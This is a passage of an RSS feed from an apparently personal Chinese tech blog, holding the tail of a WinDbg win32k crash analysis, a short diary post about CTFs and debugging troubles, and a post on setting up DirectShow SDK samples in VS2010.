8a2af928 908d2d15 fe40f480 050a071e 8a2afc70 win32k!RFONTOBJ::bMakeInactiveHelper+0x25a<br />
8a2af984 908fba77 00000000 8a2afc70 00000000 win32k!RFONTOBJ::vMakeInactive+0×72<br />
8a2afa04 908fbd74 8a2afc3c 00000000 00000004 win32k!RFONTOBJ::bInit+0xe3<br />
8a2afa1c 908a4b2b 8a2afc3c 00000000 00000004 win32k!RFONTOBJ::vInit+0×16<br />
8a2afcb8 908a4a2f 69010742 00000340 00000040 win32k!GreGetCharABCWidthsW+0×86<br />
8a2afd14 8289642a 69010742 00000340 00000040 win32k!NtGdiGetCharABCWidthsW+0xf8<br />
8a2afd14 76f864f4 69010742 00000340 00000040 nt!KiFastCallEntry+0x12a<br />
0435e9ac 00000000 00000000 00000000 00000000 ntdll!KiFastSystemCallRet</p>
<p>STACK_COMMAND: kb</p>
<p>FOLLOWUP_IP:<br />
win32k!EngFreeMem+1f<br />
9088c189 5e pop esi</p>
<p>SYMBOL_STACK_INDEX: 4</p>
<p>SYMBOL_NAME: win32k!EngFreeMem+1f</p>
<p>FOLLOWUP_NAME: MachineOwner</p>
<p>MODULE_NAME: win32k</p>
<p>IMAGE_NAME: win32k.sys</p>
<p>DEBUG_FLR_IMAGE_TIMESTAMP: 4a5bc2a2</p>
<p>FAILURE_BUCKET_ID: 0x19_20_win32k!EngFreeMem+1f</p>
<p>BUCKET_ID: 0x19_20_win32k!EngFreeMem+1f</p>
<p>Followup: MachineOwner</p>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2011/12/war3%e6%a0%bc%e5%bc%8f/' rel='bookmark' title='Permanent Link: WAR3格式'>WAR3格式</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2011/10/darungrim/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>随便++1</title>
		<link>http://cq-cser.cn/2011/07/%e9%9a%8f%e4%be%bf1/</link>
		<comments>http://cq-cser.cn/2011/07/%e9%9a%8f%e4%be%bf1/#comments</comments>
		<pubDate>Tue, 26 Jul 2011 12:30:35 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[其他]]></category>
		<category><![CDATA[悲剧]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=1468</guid>
		<description><![CDATA[最近发现不少新兴趣点，什么WARGAME,CTF,各类CON,都很好玩啊，快到8月论文高发期了，表示激动啊，然某人秀pp晒男友，此处省去N字，此处再略去N字。 表示WINDBG好慢， $+10B4D2 > 8B50 04 mov edx, dword ptr [eax+4] ;eax==0&#215;148 最近本地xampp坏了，不理解，启动直接50%+，搞得paimei也不能适用。 下了半天FREEBSD，结果还是不带gui的，当时怎么就选错了呢,solaris也是，还是改天买盘子吧， 最近好不顺，金山那个POC也不能顺利运行，明知道我懒得改，讨厌架环境，呵，事实告诉我们，懒惰是最大的敌人。 其实还有有个选择的，不过用3个月来做个选择，是否，来得及呢 No related posts.


No related posts.]]></description>
			<content:encoded><![CDATA[<p><span id="more-1468"></span><br />
最近发现不少新兴趣点，什么WARGAME,CTF,各类CON,都很好玩啊，快到8月论文高发期了，表示激动啊，然某人秀pp晒男友，此处省去N字，此处再略去N字。<br />
表示WINDBG好慢，<br />
$+10B4D2 >  8B50 04         mov     edx, dword ptr [eax+4]  ;eax==0&#215;148<br />
最近本地xampp坏了，不理解，启动直接50%+，搞得paimei也不能适用。<br />
下了半天FREEBSD，结果还是不带gui的，当时怎么就选错了呢,solaris也是，还是改天买盘子吧，<br />
最近好不顺，金山那个POC也不能顺利运行，明知道我懒得改，讨厌架环境，呵，事实告诉我们，懒惰是最大的敌人。<br />
其实还有有个选择的，不过用3个月来做个选择，是否，来得及呢</p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2011/07/%e9%9a%8f%e4%be%bf1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VS2010下DirectShow环境</title>
		<link>http://cq-cser.cn/2011/02/vs2010%e4%b8%8bdirectshow%e7%8e%af%e5%a2%83/</link>
		<comments>http://cq-cser.cn/2011/02/vs2010%e4%b8%8bdirectshow%e7%8e%af%e5%a2%83/#comments</comments>
		<pubDate>Fri, 04 Feb 2011 12:00:52 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[其他]]></category>
		<category><![CDATA[DIRECTSHOW]]></category>
		<category><![CDATA[DirectX]]></category>
		<category><![CDATA[SDK]]></category>
		<category><![CDATA[strmbase.lib]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=1437</guid>
		<description><![CDATA[主要参见http://msdn.microsoft.com/en-us/library/dd375468(v=VS.85).aspx 如他所说。更新SDK，最新的DIRECTSHOW  SDK包含在WINDOWS SDK里面了。而非以往的DIRECTX 的SDK里面，或者是什么DirectX EXTRA SDK里面。 之前缺少strmbase.lib或是streams.h也是因为如此。strmbase.lib来自SAMPLE的第一个项目，编译下后面的添加引用就OK了。  里面几个水印的例子很犀利啊！ They are located under the path [SDK Root] \Samples\Multimedia\DirectShow. If there is additional documentation for a sample, the first column of this table links to it. Sample Area Description Additional Dependencies DirectShow Base Classes Base class library C++ classes and utility functions designed for implementing DirectShow [...]


Related posts:<ol><li><a href='http://cq-cser.cn/2010/05/%e5%be%ae%e8%bd%af%e4%b8%80%e7%ab%99%e5%bc%8f%e7%a4%ba%e4%be%8b%e4%bb%a3%e7%a0%81%e5%ba%93-4-%e6%9c%88%e5%b0%8f%e7%bb%93/' rel='bookmark' title='Permanent Link: 微软一站式示例代码库 4 月小结'>微软一站式示例代码库 4 月小结</a></li>
<li><a href='http://cq-cser.cn/2010/02/jgrowl/' rel='bookmark' title='Permanent Link: jGrowl'>jGrowl</a></li>
<li><a href='http://cq-cser.cn/2011/01/windows-api-code-pack-for-microsoft-net-framework/' rel='bookmark' title='Permanent Link: Windows API Code Pack for Microsoft .NET Framework'>Windows API Code Pack for Microsoft .NET Framework</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>主要参见<a href="http://msdn.microsoft.com/en-us/library/dd375468(v=VS.85).aspx">http://msdn.microsoft.com/en-us/library/dd375468(v=VS.85).aspx</a></p>
<p>如他所说。更新SDK，最新的DIRECTSHOW  SDK包含在WINDOWS SDK里面了。而非以往的DIRECTX 的SDK里面，或者是什么DirectX EXTRA SDK里面。</p>
<p>之前缺少strmbase.lib或是streams.h也是因为如此。strmbase.lib来自SAMPLE的第一个项目，编译下后面的添加引用就OK了。 </p>
<p>里面几个水印的例子很犀利啊！<span id="more-1437"></span></p>
<p>They are located under the path <em>[SDK Root]</em> \Samples\Multimedia\DirectShow.</p>
<p>If there is additional documentation for a sample, the first column of this table links to it.</p>
<table>
<tbody>
<tr>
<th>Sample</th>
<th>Area</th>
<th>Description</th>
<th>Additional Dependencies</th>
</tr>
<tr>
<td><a href="http://msdn.microsoft.com/en-us/library/dd375456(v=VS.85).aspx">DirectShow Base Classes</a></td>
<td>Base class library</td>
<td>C++ classes and utility functions designed for implementing DirectShow filters.</td>
<td> </td>
</tr>
<tr>
<td><a href="http://msdn.microsoft.com/en-us/library/dd373424(v=VS.85).aspx">AmCap Sample</a></td>
<td>Capture</td>
<td>Video capture application.</td>
<td>strmbase.lib</td>
</tr>
<tr>
<td><a href="http://msdn.microsoft.com/en-us/library/dd388554(v=VS.85).aspx">DVApp Sample</a></td>
<td>Capture</td>
<td>Digital Video (DV) capture application.</td>
<td> </td>
</tr>
<tr>
<td><a href="http://msdn.microsoft.com/en-us/library/dd377437(v=VS.85).aspx">PlayCap Sample</a></td>
<td>Capture</td>
<td>Simple capture application.</td>
<td> </td>
</tr>
<tr>
<td><a href="http://msdn.microsoft.com/en-us/library/dd375495(v=VS.85).aspx">DMO Demo Sample</a></td>
<td>DMO</td>
<td>Streams audio data from a WAV file through an audio effect DMO.</td>
<td>DirectX SDK</td>
</tr>
<tr>
<td>DVD Sample</td>
<td>DVD</td>
<td>Demonstrates basic DVD playback and navigation, plus advanced features such as parental level management, bookmarks, karaoke, and command synchronization.</td>
<td> </td>
</tr>
<tr>
<td><a href="http://msdn.microsoft.com/en-us/library/dd390337(v=VS.85).aspx">InfTee Filter Sample</a></td>
<td>Filters, miscellaneous</td>
<td>Sample implementation of the <a href="http://msdn.microsoft.com/en-us/library/dd390336(v=VS.85).aspx">Infinite Pin Tee</a> filter.</td>
<td>strmbase.lib</td>
</tr>
<tr>
<td><a href="http://msdn.microsoft.com/en-us/library/dd390675(v=VS.85).aspx">Metronome Filter Sample</a></td>
<td>Filters, miscellaneous</td>
<td>Shows how to implement a reference clock.</td>
<td>strmbase.lib</td>
</tr>
<tr>
<td><a href="http://msdn.microsoft.com/en-us/library/dd377479(v=VS.85).aspx">PSI Parser Filter Sample</a></td>
<td>Filters, miscellaneous</td>
<td>Receives Program Specific Information (PSI) tables from an MPEG-2 transport stream and extracts program information.</td>
<td>strmbase.lib</td>
</tr>
<tr>
<td><a href="http://msdn.microsoft.com/en-us/library/dd388553(v=VS.85).aspx">Dump Filter Sample</a></td>
<td>Filters, renderer</td>
<td>Writes media samples receives to a text file.</td>
<td>strmbase.lib</td>
</tr>
<tr>
<td>SampVid Filter</td>
<td>Filters, renderer</td>
<td>Video renderer filter.</td>
<td>strmbase.lib</td>
</tr>
<tr>
<td><a href="http://msdn.microsoft.com/en-us/library/dd377557(v=VS.85).aspx">Scope Filter Sample</a></td>
<td>Filters, renderer</td>
<td>Displays sound data as wave forms.</td>
<td>strmbase.lib</td>
</tr>
<tr>
<td><a href="http://msdn.microsoft.com/en-us/library/dd317573(v=VS.85).aspx">Async Filter Sample</a></td>
<td>Filters, source</td>
<td>File reader filter that supports progressive download.</td>
<td>strmbase.lib</td>
</tr>
<tr>
<td><a href="http://msdn.microsoft.com/en-us/library/dd318194(v=VS.85).aspx">Ball Filter Sample</a></td>
<td>Filters, source</td>
<td>Video source filter that produces an image of a bouncing ball.</td>
<td>strmbase.lib</td>
</tr>
<tr>
<td><a href="http://msdn.microsoft.com/en-us/library/dd377481(v=VS.85).aspx">Push Source Filters Sample</a></td>
<td>Filters, source</td>
<td>Source filters that provide the following data as a video stream: A single bitmap, a set of bitmaps, a copy of the current desktop image.</td>
<td>strmbase.lib</td>
</tr>
<tr>
<td><a href="http://msdn.microsoft.com/en-us/library/dd407178(v=VS.85).aspx">Synth Filter Sample</a></td>
<td>Filters, source</td>
<td>Source filter that generates audio waveforms. This sample demonstrates dynamic graph building.</td>
<td>strmbase.lib</td>
</tr>
<tr>
<td><a href="http://msdn.microsoft.com/en-us/library/dd375634(v=VS.85).aspx">EZRGB24 Filter Sample</a></td>
<td>Filters, transform</td>
<td>Image processing filter.</td>
<td>strmbase.lib</td>
</tr>
<tr>
<td><a href="http://msdn.microsoft.com/en-us/library/dd375814(v=VS.85).aspx">Gargle Filter Sample</a></td>
<td>Filters, transform</td>
<td>Audio effect filter.</td>
<td>strmbase.lib</td>
</tr>
<tr>
<td><a href="http://msdn.microsoft.com/en-us/library/dd390969(v=VS.85).aspx">WavDest Filter Sample</a></td>
<td>Filters, transform</td>
<td>Writes an audio stream to a WAV file.</td>
<td>strmbase.lib</td>
</tr>
<tr>
<td><a href="http://msdn.microsoft.com/en-us/library/dd375488(v=VS.85).aspx">DMOEnum Sample</a></td>
<td>Miscellaneous</td>
<td>Shows how to enumerate DirectX® Media Objects (DMOs).</td>
<td> </td>
</tr>
<tr>
<td><a href="http://msdn.microsoft.com/en-us/library/dd390662(v=VS.85).aspx">Mapper Sample</a></td>
<td>Miscellaneous</td>
<td>Shows how to use the <a href="http://msdn.microsoft.com/en-us/library/dd375788(v=VS.85).aspx">Filter Mapper</a> to find filters in the registry.</td>
<td> </td>
</tr>
<tr>
<td>SysEnum Sample</td>
<td>Miscellaneous</td>
<td>Demonstrates using the <a href="http://msdn.microsoft.com/en-us/library/dd407180(v=VS.85).aspx">System Device Enumerator</a> to enumerate devices and filters.</td>
<td> </td>
</tr>
<tr>
<td><a href="http://msdn.microsoft.com/en-us/library/dd388355(v=VS.85).aspx">CutScene Sample</a></td>
<td>Playback</td>
<td>Plays a video file in full-screen mode.</td>
<td> </td>
</tr>
<tr>
<td>DDrawXCL Sample</td>
<td>Playback</td>
<td>Plays video in DirectDraw exclusive full-screen mode, using the <a href="http://msdn.microsoft.com/en-us/library/dd406747(v=VS.85).aspx"><strong>IDDrawExclModeVideo</strong></a> interface on the <a href="http://msdn.microsoft.com/en-us/library/dd390946(v=VS.85).aspx">Overlay Mixer</a> filter.</td>
<td> </td>
</tr>
<tr>
<td>DShowPlayer Sample</td>
<td>Playback</td>
<td>Video playback application.</td>
<td> </td>
</tr>
<tr>
<td>EVRPlayer Sample</td>
<td>Playback</td>
<td>Demonstrates how to use the DirectShow EVR filter.<em>Requires Windows Vista or later.</em>This sample is available in the Windows SDK for Windows Server 2008 or later.</td>
<td>strmbase.lib</td>
</tr>
<tr>
<td>Texture3D9 Sample</td>
<td>Playback</td>
<td>Draws video on a Microsoft DirectX 9.0 texture surface.</td>
<td>strmbase.lib, DirectX SDK</td>
</tr>
<tr>
<td><a href="http://msdn.microsoft.com/en-us/library/dd407194(v=VS.85).aspx">Ticker Sample</a></td>
<td>VMR-9</td>
<td>Uses the VMR-9 to blend video and text.</td>
<td> </td>
</tr>
<tr>
<td>VMR9Allocator Sample</td>
<td>VMR-9</td>
<td>Implements a custom allocator-presenter for the VMR-9.</td>
<td>strmbase.lib</td>
</tr>
<tr>
<td>VMR9Compositor Sample</td>
<td>VMR-9</td>
<td>Implements a custom mixer for the VMR-9.</td>
<td> </td>
</tr>
<tr>
<td><a href="http://msdn.microsoft.com/en-us/library/dd407390(v=VS.85).aspx">VMRPlayer Sample</a></td>
<td>VMR-9</td>
<td>Uses the VMR-9 to blend one or two running videos and a static image.</td>
<td> </td>
</tr>
<tr>
<td>Watermark Sample</td>
<td>VMR-9</td>
<td>Blends a static bitmap onto a video during playback, using the VMR-9.</td>
<td> </td>
</tr>
<tr>
<td><a href="http://msdn.microsoft.com/en-us/library/dd390982(v=VS.85).aspx">Windowless Sample</a></td>
<td>VMR-9</td>
<td>Demonstrates windowless mode in the VMR-9.</td>
<td> </td>
</tr>
</tbody>
</table>
<p><strong>Additional Dependencies</strong></p>
<p>Some of the samples link to the DirectShow base class library. To build these samples, you must first build the base class library. For more information, see <a href="http://msdn.microsoft.com/en-us/library/dd375456(v=VS.85).aspx">DirectShow Base Classes</a>. The base class library is required for all of the sample filters.</p>
<p>A few of the samples also require the DirectX SDK, in addition to the Windows SDK. To build these samples, you must install the DirectX SDK and set the %DXSDK_DIR% environment variable equal to your DirectX SDK installation path.</p>
<p>Many of the DirectShow samples use a set of common headers and source files located in the directrory <em>[SDK Root]</em>\Samples\Multimedia\DirectShow\Common. If you copy a sample folder to another directory, make sure to copy the Common folder as well.</p>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2010/05/%e5%be%ae%e8%bd%af%e4%b8%80%e7%ab%99%e5%bc%8f%e7%a4%ba%e4%be%8b%e4%bb%a3%e7%a0%81%e5%ba%93-4-%e6%9c%88%e5%b0%8f%e7%bb%93/' rel='bookmark' title='Permanent Link: 微软一站式示例代码库 4 月小结'>微软一站式示例代码库 4 月小结</a></li>
<li><a href='http://cq-cser.cn/2010/02/jgrowl/' rel='bookmark' title='Permanent Link: jGrowl'>jGrowl</a></li>
<li><a href='http://cq-cser.cn/2011/01/windows-api-code-pack-for-microsoft-net-framework/' rel='bookmark' title='Permanent Link: Windows API Code Pack for Microsoft .NET Framework'>Windows API Code Pack for Microsoft .NET Framework</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2011/02/vs2010%e4%b8%8bdirectshow%e7%8e%af%e5%a2%83/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

